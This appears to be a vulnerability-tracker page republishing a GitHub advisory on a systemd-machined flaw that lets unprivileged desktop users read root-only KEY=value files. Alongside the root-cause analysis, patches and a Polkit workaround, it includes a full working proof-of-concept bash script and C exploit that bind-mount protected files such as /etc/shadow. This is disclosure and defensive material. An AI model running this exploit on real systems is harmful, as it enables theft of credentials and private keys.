Local users can read protected KEY=value files via systemd-machined
Key facts
- Attack vector
- Local
- Privileges required
- None
- User interaction
- None
- Attack complexity
- High
- Impact type
- Privilege escalation
- Confidentiality · integrity · availability
- Low · None · None
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-2p9f-rcmv-x36h. Fix status from GitHub. Impact type from CWE-269.
Summary
systemd-machined from version 259 onward is affected by an improper privilege management flaw (CWE-269). A local user in a desktop graphical session, with no privileges, can register a machine and bind mount a protected file so that its os-release metadata is queried, which reveals the file contents. Only KEY=value lines from text files can be read, and terminal-only or remote sessions are not affected.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
### Impact When systemd-machined >= v259 is running on a desktop system, an unprivileged user logged in a desktop graphical session can read the content of `KEY=value` formatted files protected by DAC permissions by registering a set of namespaces as a machine and bind mounting the protected file onto `/usr/lib/os-release`, and then calling the IPC APIs to query a machine's os-release metadata. - versions older than v259 are not affected - unrelated to the systemd service manager (pid 1 or user session managers) - systemd-machined is not typically installed by default, and is typically in an optional, separate package (e.g.: [systemd-container](https://packages.ubuntu.com/search?keywords=systemd-container&searchon=names&suite=all§ion=all)) - terminal-only or remote sessions (e.g.: ssh) are not affected - only KEY=value lines from text files can be retrieved, nothing else ### Patches v261 https://github.com/systemd/systemd/commit/3e716178cc3bcf972d878d3899ad1c977a7d707b v260.2 (6e6aa47f468b7c4f70350d4498553c8ae5967335) v259.6 (https://github.com/systemd/systemd/commit/b808894777348ad57dcf145e9f9ec1211ef84910) ### Workarounds Restricting access to privileged users only via a Polkit rule blocks the escalation path. Create `/etc/polkit-1/rules.d/machined-register.rules` with content: ``` polkit.addRule(function(action, subject) { if (action.id == "org.freedesktop.machine1.register-machine" && subject.user != "root") { return polkit.Result.AUTH_ADMIN_KEEP; } }); ``` ### References Original report follows ### Summary A missing polkit authorization enforcement in the Varlink `io.systemd.Machine.List` method — where `VARLINK_DISPATCH_POLKIT_FIELD` is present in the dispatch table but `varlink_verify_polkit_async()` is never called — combined with a world-accessible Varlink socket (mode `0666`) and `machine_get_os_release()` entering an attacker-controlled mount namespace without joining the corresponding user namespace, allows any local user to read arbitrary files on the system as root. ### Details ### Component 1: World-writable Varlink socket The machined Varlink socket at `/run/systemd/machine/io.systemd.Machine` is created with permissions determined by `runtime_scope_to_socket_mode()`. For system-scope services, this function returns `0666` — world-readable and world-writable. From `src/basic/runtime-scope.h:17-32`: ```c // src/basic/runtime-scope.h:17-32 static inline mode_t runtime_scope_to_socket_mode(RuntimeScope scope) { switch (scope) { case RUNTIME_SCOPE_SYSTEM: return 0666; case RUNTIME_SCOPE_USER: return 0600; default: return MODE_INVALID; } } ``` This mode is applied at `src/machine/machined-varlink.c:822`: ```c // src/machine/machined-varlink.c:822 r = sd_varlink_server_listen_address(s, socket_path, runtime_scope_to_socket_mode(m->runtime_scope) | SD_VARLINK_SERVER_MODE_MKDIR_0755); ``` Any local user can therefore connect to this socket and invoke any method, bypassing D-Bus's access control layer entirely. ### Component 2: Dead polkit field in `vl_method_list()` The `vl_method_list()` function at `src/machine/machined-varlink.c:516-563` includes `VARLINK_DISPATCH_POLKIT_FIELD` in its parameter dispatch table. This macro adds a polkit credentials field that gets parsed from the incoming Varlink request. However, the function **never calls** `varlink_verify_polkit_async()` to actually verify those credentials: ```c // src/machine/machined-varlink.c:516-563 static int vl_method_list(sd_varlink *link, sd_json_variant *parameters, sd_varlink_method_flags_t flags, void *userdata) { static const sd_json_dispatch_field dispatch_table[] = { VARLINK_DISPATCH_MACHINE_LOOKUP_FIELDS(MachineLookupParameters), { "acquireMetadata", SD_JSON_VARIANT_STRING, json_dispatch_acquire_metadata, offsetof(MachineLookupParameters, acquire_metadata), 0 }, VARLINK_DISPATCH_POLKIT_FIELD, // polkit field is PARSED... {} }; Manager *m = ASSERT_PTR(userdata); _cleanup_(machine_lookup_parameters_done) MachineLookupParameters p = { .pidref = PIDREF_NULL, }; int r; assert(link); assert(parameters); r = sd_varlink_dispatch(link, parameters, dispatch_table, &p); if (r != 0) return r; // ... NO varlink_verify_polkit_async() call ANYWHERE ... r = sd_varlink_set_sentinel(link, VARLINK_ERROR_MACHINE_NO_SUCH_MACHINE); if (r < 0) return r; if (p.name || pidref_is_set(&p.pidref) || pidref_is_automatic(&p.pidref)) { Machine *machine; r = lookup_machine_by_name_or_pidref(link, m, p.name, &p.pidref, &machine); if (r == -ESRCH) return 0; if (r < 0) return r; return list_machine_one_and_maybe_read_metadata(link, machine, p.acquire_metadata); } // ... remaining iteration code ... return 0; } ``` A search for `varlink_verify_polkit_async` across the entire `machined-varlink.c` file yields **zero results**. In stark contrast, the companion file `machine-varlink.c` (which handles `Register`, `Kill`, `BindMount`, `CopyTo`/`CopyFrom`, etc.) contains **8 separate calls** to `varlink_verify_polkit_async` or `varlink_verify_polkit_async_full` (at lines 162, 317, 343, 415, 582, 865, 979, and 1011). The same dead polkit field pattern repeats in two additional dispatch tables within `machined-varlink.c`: - `lookup_machine_and_call_method()` at line 568 (used for routing to Unregister, Terminate, and OpenRootDirectory) - `vl_method_list_images()` at line 673 This creates a misleading security posture: a code reviewer scanning for `VARLINK_DISPATCH_POLKIT_FIELD` would see the field present and could reasonably conclude that authorization is in effect, when in reality the enforcement call is entirely missing. ### Component 3: Unprotected metadata acquisition triggering root-privileged file reads When `acquireMetadata` is specified in the `List` request, `list_machine_one_and_maybe_read_metadata()` at `src/machine/machined-varlink.c:429-500` calls `machine_get_os_release()` to fetch the container's OS information: ```c // src/machine/machined-varlink.c:429-475 static int list_machine_one_and_maybe_read_metadata(sd_varlink *link, Machine *m, AcquireMetadata am) { ... if (should_acquire_metadata(am)) { _cleanup_free_ struct local_address *addresses = NULL; r = machine_get_addresses(m, &addresses); if (r < 0 && am == ACQUIRE_METADATA_GRACEFUL) log_debug_errno(r, "Failed to get address (graceful mode), ignoring: %m"); else if (r == -ENONET) return sd_varlink_error(link, VARLINK_ERROR_MACHINE_NO_PRIVATE_NETWORKING, NULL); ... r = machine_get_os_release(m, &os_release); // line 456 — the vulnerable call ... } ... r = sd_json_buildo( &v, ... JSON_BUILD_PAIR_STRV_ENV_PAIR_NON_EMPTY("OSRelease", os_release), // line 493 ...); return sd_varlink_reply(link, v); } ``` The `machine_get_os_release()` function (at `src/machine/machined-core.c:345-414`) then enters the container leader's mount namespace as root. As analyzed for the D-Bus vulnerability, it passes `userns_fd=-EBADF` to `namespace_fork()` at line 369, so the forked child retains `systemd-machined`'s root UID and all capabilities: ```c // src/machine/machined-core.c:351-371 r = pidref_namespace_open(&machine->leader, &pidns_fd, &mntns_fd, /* ret_netns_fd= */ NULL, /* ret_userns_fd= */ NULL, // never retrieved &root_fd); ... r = namespace_fork("(sd-osrelns)", "(sd-osrel)", FORK_RESET_SIGNALS|FORK_DEATHSIG_SIGKILL, pidns_fd, mntns_fd, /* netns_fd= */ -EBADF, /* userns_fd= */ -EBADF, // child keeps root identity root_fd, &child); ``` The returned file content is embedded in the `OSRelease` field of the JSON response at line 493 and delivered to the caller. ### Component 4: Unauthenticated machine registration The Varlink `Register` method at `src/machine/machine-varlink.c:126-224` verifies polkit action `org.freedesktop.machine1.register-machine` (line 162-168). This action defaults to `allow_active=yes` in `src/machine/org.freedesktop.machine1.policy:105-113`: ```xml <!-- src/machine/org.freedesktop.machine1.policy:105-113 --> <action id="org.freedesktop.machine1.register-machine"> <defaults> <allow_any>auth_admin</allow_any> <allow_inactive>auth_admin</allow_inactive> <allow_active>yes</allow_active> </defaults> </action> ``` On a local active session (desktop login, physical console), registration proceeds without any authentication prompt. The ownership check at lines 196-201 (`process_is_owned_by_uid` in `src/basic/namespace-util.c:796`) confirms the leader PID belongs to the caller — which succeeds for the attacker's own process, including processes in user namespaces owned by the attacker. ### Component 5: `acquireMetadata="graceful"` as an error-bypass mechanism An attacker's fake container typically shares the host's network namespace (because `unshare(CLONE_NEWNS)` does not create a new one). When `machine_get_addresses()` runs at line 441, it returns `-ENONET`. Under `acquireMetadata="yes"`, this produces a `NoPrivateNetworking` error that terminates processing before the file-read path is reached. However, with `acquireMetadata="graceful"`, the error is silently absorbed (lines 442-443), and execution continues to `machine_get_os_release()` at line 456 — the file exfiltration point. ### PoC The entire attack runs as an unprivileged user. No root access, sudo, or authentication is needed at any step: 1. Namespace isolation — `unshare(CLONE_NEWUSER | CLONE_NEWNS)` creates a user+mount namespace. UID/GID mappings are written to `/proc/self/uid_map` and `/proc/self/gid_map`. This is an unprivileged operation available since Linux 3.8. 2. Target substitution — inside the mount namespace, the attacker bind-mounts the target file (e.g., `/etc/shadow`) over `/etc/os-release`. The `CAP_SYS_ADMIN` capability within the user namespace authorizes this, and the kernel does not verify read access to the bind-mount source. 3. Container registration — the attacker connects to the Varlink socket at `/run/systemd/machine/io.systemd.Machine` (mode `0666`) and calls `io.systemd.Machine.Register` with `class=container` and `leader=<own PID>`. On a local desktop session, polkit grants this automatically. 4. File exfiltration — the attacker calls `io.systemd.Machine.List` with `name=<machine>` and `acquireMetadata="graceful"` on the same socket. The polkit field is parsed but never verified. `machined` forks a child into the attacker's mount namespace as root (`userns_fd=-EBADF`), reads `/etc/os-release` (actually the target file), and returns the contents in the `OSRelease` JSON field. Run the commands below for the two PoC files: ```bash # set unprivileged_userns_clone=1 and apparmor_restrict_unprivileged_userns=0 # Prepare a root-only test file sudo bash poc_varlink_list.sh --setup # Confirm it is unreadable as a normal user cat /tmp/secret # -> Permission denied # Execute the exploit — NO sudo, NO root, fully unprivileged bash poc_varlink_list.sh /tmp/secret # Remove test artifacts sudo bash poc_varlink_list.sh --cleanup ``` poc_varlink_list.sh ```bash set -euo pipefail SECRET_FILE="/tmp/secret" SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" EXPLOIT_SRC="$SCRIPT_DIR/poc_varlink_list.c" EXPLOIT_BIN="/tmp/poc_varlink_list_$$" # --setup: create a root-owned secret file for clean demonstration if [[ "${1:-}" == "--setup" ]]; then if [[ $EUID -ne 0 ]]; then echo "[!] --setup requires root. Run: sudo $0 --setup" exit 1 fi cat > "$SECRET_FILE" <<'EOF' LEAKED_SECRET=varlink_vulnerability_confirmed PRIVATE_KEY=s3cr3t_r00t_0nly_d4t4_varlink EOF chmod 0600 "$SECRET_FILE" chown root:root "$SECRET_FILE" echo "[+] Created $SECRET_FILE (owner=root, mode=0600)" echo "[+] Verify unprivileged user cannot read it:" echo " cat $SECRET_FILE # should fail with Permission denied" exit 0 fi # --cleanup: remove test secret and compiled binaries if [[ "${1:-}" == "--cleanup" ]]; then if [[ $EUID -ne 0 ]]; then echo "[!] --cleanup requires root. Run: sudo $0 --cleanup" exit 1 fi rm -f "$SECRET_FILE" /tmp/poc_varlink_list_* echo "[+] Cleaned up" exit 0 fi # --- Main exploit (NO ROOT REQUIRED) --- TARGET="${1:-$SECRET_FILE}" if [[ ! -e "$TARGET" ]]; then echo "[-] Target file '$TARGET' does not exist." [[ "$TARGET" == "$SECRET_FILE" ]] && echo " Run: sudo $0 --setup" exit 1 fi # Pre-flight checks for cmd in varlinkctl cc; do if ! command -v $cmd &> /dev/null; then echo "[-] $cmd not found." exit 1 fi done VARLINK_SOCKET="/run/systemd/machine/io.systemd.Machine" if [[ ! -S "$VARLINK_SOCKET" ]]; then echo "[-] Varlink socket not found at $VARLINK_SOCKET" echo " systemd-machined may not be running or may not have created the socket." echo " Try: systemctl start systemd-machined" echo " Or check: ls -la /run/systemd/machine/" exit 1 fi # Verify socket is world-accessible SOCKET_PERMS=$(stat -c '%a' "$VARLINK_SOCKET" 2>/dev/null || echo "unknown") echo "[*] Varlink socket: $VARLINK_SOCKET" echo "[*] Socket permissions: $SOCKET_PERMS (0666 = world-accessible)" echo "" # Check unprivileged user namespace support if [[ -f /proc/sys/kernel/unprivileged_userns_clone ]]; then val=$(cat /proc/sys/kernel/unprivileged_userns_clone) if [[ "$val" == "0" ]]; then echo "[!] Unprivileged user namespaces are disabled." echo " Fix: sudo sysctl -w kernel.unprivileged_userns_clone=1" exit 1 fi fi if [[ -f /proc/sys/kernel/apparmor_restrict_unprivileged_userns ]]; then val=$(cat /proc/sys/kernel/apparmor_restrict_unprivileged_userns) if [[ "$val" == "1" ]]; then echo "[!] AppArmor restricts unprivileged user namespaces." echo " Fix: sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0" exit 1 fi fi # Show target file permissions echo "[*] Target file:" ls -la "$TARGET" echo "" # Compile the exploit echo "[*] Compiling Varlink exploit ..." cc -Wall -o "$EXPLOIT_BIN" "$EXPLOIT_SRC" trap "rm -f '$EXPLOIT_BIN'" EXIT echo "[+] Compiled: $EXPLOIT_BIN" echo "" # Run as unprivileged user — no sudo exec "$EXPLOIT_BIN" "$TARGET" ``` poc_varlink_list.c ```c #define _GNU_SOURCE #include <errno.h> #include <fcntl.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mount.h> #include <unistd.h> static int write_file(const char *path, const char *data) { int fd = open(path, O_WRONLY); if (fd < 0) return -errno; ssize_t len = strlen(data); ssize_t n = write(fd, data, len); close(fd); if (n != len) return n < 0 ? -errno : -EIO; return 0; } static int run_cmd(const char *cmd, char *output, size_t output_sz) { FILE *fp = popen(cmd, "r"); if (!fp) return -1; size_t off = 0; while (off < output_sz - 1) { size_t n = fread(output + off, 1, output_sz - 1 - off, fp); if (n == 0) break; off += n; } output[off] = '\0'; return pclose(fp); } static void check_userns_support(void) { FILE *f; int val; f = fopen("/proc/sys/kernel/unprivileged_userns_clone", "r"); if (f) { if (fscanf(f, "%d", &val) == 1 && val == 0) fprintf(stderr, " Hint: unprivileged user namespaces are disabled.\n" " Fix: sudo sysctl -w kernel.unprivileged_userns_clone=1\n"); fclose(f); } f = fopen("/proc/sys/kernel/apparmor_restrict_unprivileged_userns", "r"); if (f) { if (fscanf(f, "%d", &val) == 1 && val == 1) fprintf(stderr, " Hint: AppArmor restricts unprivileged user namespaces.\n" " Fix: sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0\n"); fclose(f); } } int main(int argc, char *argv[]) { if (argc < 2) { fprintf(stderr, "Usage: %s <target_file>\n", argv[0]); return 1; } const char *target = argv[1]; const char *varlink_socket = "/run/systemd/machine/io.systemd.Machine"; char machine_name[64], cmd[2048], output[65536], buf[128]; snprintf(machine_name, sizeof(machine_name), "pocvl%d", getpid()); printf("=============================================\n"); printf(" machined Varlink List arbitrary file read\n"); printf(" *** FULLY UNPRIVILEGED ***\n"); printf("=============================================\n\n"); printf("[*] Running as UID %d (unprivileged)\n", getuid()); printf("[*] Target file: %s\n", target); printf("[*] Varlink socket: %s\n\n", varlink_socket); /* Verify direct read fails before namespace setup */ FILE *f = fopen(target, "r"); if (f) { printf("[!] WARNING: direct read of '%s' succeeded.\n", target); printf(" (file may be world-readable — choose a root-only file for a clean demo)\n\n"); fclose(f); } else { printf("[+] Direct read of '%s' DENIED: %s\n", target, strerror(errno)); printf(" (confirms we are truly unprivileged)\n\n"); } /* Save real UID/GID before unshare */ uid_t real_uid = getuid(); gid_t real_gid = getgid(); /* Step 1: Create user + mount namespace (unprivileged) */ printf("[*] Step 1: Creating user + mount namespace (unshare CLONE_NEWUSER|CLONE_NEWNS) ...\n"); if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { fprintf(stderr, "[-] unshare(CLONE_NEWUSER|CLONE_NEWNS) failed: %s\n", strerror(errno)); if (errno == EPERM) check_userns_support(); return 1; } printf("[+] User + mount namespace created\n"); /* Step 2: Set up UID/GID mappings */ if (write_file("/proc/self/setgroups", "deny") < 0) { perror("[-] write /proc/self/setgroups"); return 1; } snprintf(buf, sizeof(buf), "0 %d 1", real_uid); if (write_file("/proc/self/uid_map", buf) < 0) { perror("[-] write /proc/self/uid_map"); return 1; } snprintf(buf, sizeof(buf), "0 %d 1", real_gid); if (write_file("/proc/self/gid_map", buf) < 0) { perror("[-] write /proc/self/gid_map"); return 1; } printf("[+] UID/GID mapping: 0 -> %d/%d (root inside ns, unprivileged outside)\n\n", real_uid, real_gid); /* Step 3: Make mount namespace private */ if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL) < 0) { perror("[-] mount(MS_PRIVATE)"); return 1; } /* Step 4: Bind-mount target over /etc/os-release */ printf("[*] Step 2: Bind-mounting '%s' over /etc/os-release ...\n", target); if (mount(target, "/etc/os-release", NULL, MS_BIND, NULL) < 0) { perror("[-] mount --bind"); fprintf(stderr, " (If /etc/os-release is a symlink, try the resolved path)\n"); return 1; } printf("[+] Bind-mount done\n\n"); /* Step 5: Register machine via Varlink * Varlink Register also checks polkit register-machine (allow_active=yes). * If leader is not specified, machined uses the peer PID (our PID). * We specify leader=our PID explicitly for clarity. */ printf("[*] Step 3: Registering machine '%s' via Varlink ...\n", machine_name); printf(" Socket: %s\n", varlink_socket); printf(" polkit action: org.freedesktop.machine1.register-machine\n"); printf(" allow_active=yes -> no authentication on local desktop\n"); /* Use varlinkctl to call Register. leader is our PID. * Note: varlinkctl creates a new connection per call, so machined sees * the peer PID as varlinkctl's PID, not ours. We must pass our PID * as the leader explicitly. The ownership check in machined * (process_is_owned_by_uid) verifies the leader PID is owned by * the calling user's UID — which it is (our real UID). */ snprintf(cmd, sizeof(cmd), "varlinkctl call '%s' " "io.systemd.Machine.Register " "'{\"name\":\"%s\",\"class\":\"container\",\"leader\":%d}' " "2>&1", varlink_socket, machine_name, getpid()); int ret = run_cmd(cmd, output, sizeof(output)); if (ret != 0) { fprintf(stderr, "[-] Varlink Register failed: %s\n", output); if (strstr(output, "Access denied") || strstr(output, "permission")) fprintf(stderr, " NOTE: This likely means you are not on a local desktop session.\n" " RegisterMachine requires polkit allow_active (local session).\n"); /* Fall back to D-Bus RegisterMachine */ printf("[*] Trying D-Bus RegisterMachine as fallback ...\n"); snprintf(cmd, sizeof(cmd), "busctl call org.freedesktop.machine1 " "/org/freedesktop/machine1 " "org.freedesktop.machine1.Manager " "RegisterMachine \"sayssus\" " "\"%s\" 0 \"\" \"container\" %d \"\" 2>&1", machine_name, getpid()); ret = run_cmd(cmd, output, sizeof(output)); if (ret != 0) { fprintf(stderr, "[-] D-Bus RegisterMachine also failed: %s\n", output); return 1; } printf("[+] Registered via D-Bus fallback\n\n"); } else { printf("[+] Registered via Varlink: %s\n\n", output); } printf("[*] Step 4: Calling io.systemd.Machine.List with acquireMetadata=graceful ...\n"); printf(" VARLINK_DISPATCH_POLKIT_FIELD present but varlink_verify_polkit_async() NEVER called\n"); printf(" machined will enter our mount namespace as root\n"); printf(" (userns_fd=-EBADF: retains UID 0 + all capabilities)\n"); printf(" and read /etc/os-release (= our bind-mounted target)\n\n"); /* Query our specific machine by name. * acquireMetadata="graceful" skips non-fatal errors (no netns, no uid_map) * but still triggers machine_get_os_release() — the file-read path. */ snprintf(cmd, sizeof(cmd), "varlinkctl call '%s' " "io.systemd.Machine.List " "'{\"name\":\"%s\",\"acquireMetadata\":\"graceful\"}' " "2>&1", varlink_socket, machine_name); ret = run_cmd(cmd, output, sizeof(output)); if (ret != 0) { fprintf(stderr, "[-] Varlink List failed: %s\n", output); return 1; } printf("========== RAW VARLINK RESPONSE ==========\n"); printf("%s\n", output); printf("==========================================\n\n"); return 0; } ``` You should be able to see the content of the /tmp/secret in the raw varlink response. This is verified on a ubuntu 26.04 machine. ### Impact For this vulnerability, an attacker with an active local session and normal user privilege can read the lines that has "=" in them **for any file**, even if this file need root privilege to read. Sensitive files such as SSH private keys (for example, the ones in /etc/xrdp/rsakeys.ini), and application credentials can be leaked by **any local desktop user**.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | systemd-machined (linux) | >= 259 | 261 260.2 259.6 | Patch available | GHSA-2p9f-rcmv-x36h |
- systemd-machined (linux) Vendor— Affected >= 259 Fixed in 261 260.2 259.6 Patch available GHSA-2p9f-rcmv-x36h
Remediation
Upgrade systemd-machined to version 259.6, 260.2 or 261, which fix the flaw. Until then, a Polkit rule in /etc/polkit-1/rules.d/machined-register.rules that requires admin authentication for org.freedesktop.machine1.register-machine by non-root users blocks the escalation path.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-2p9f-rcmv-x36h systemd-machined (linux) Fixed in 261 260.2 259.6 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-2p9f-rcmv-x36h
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences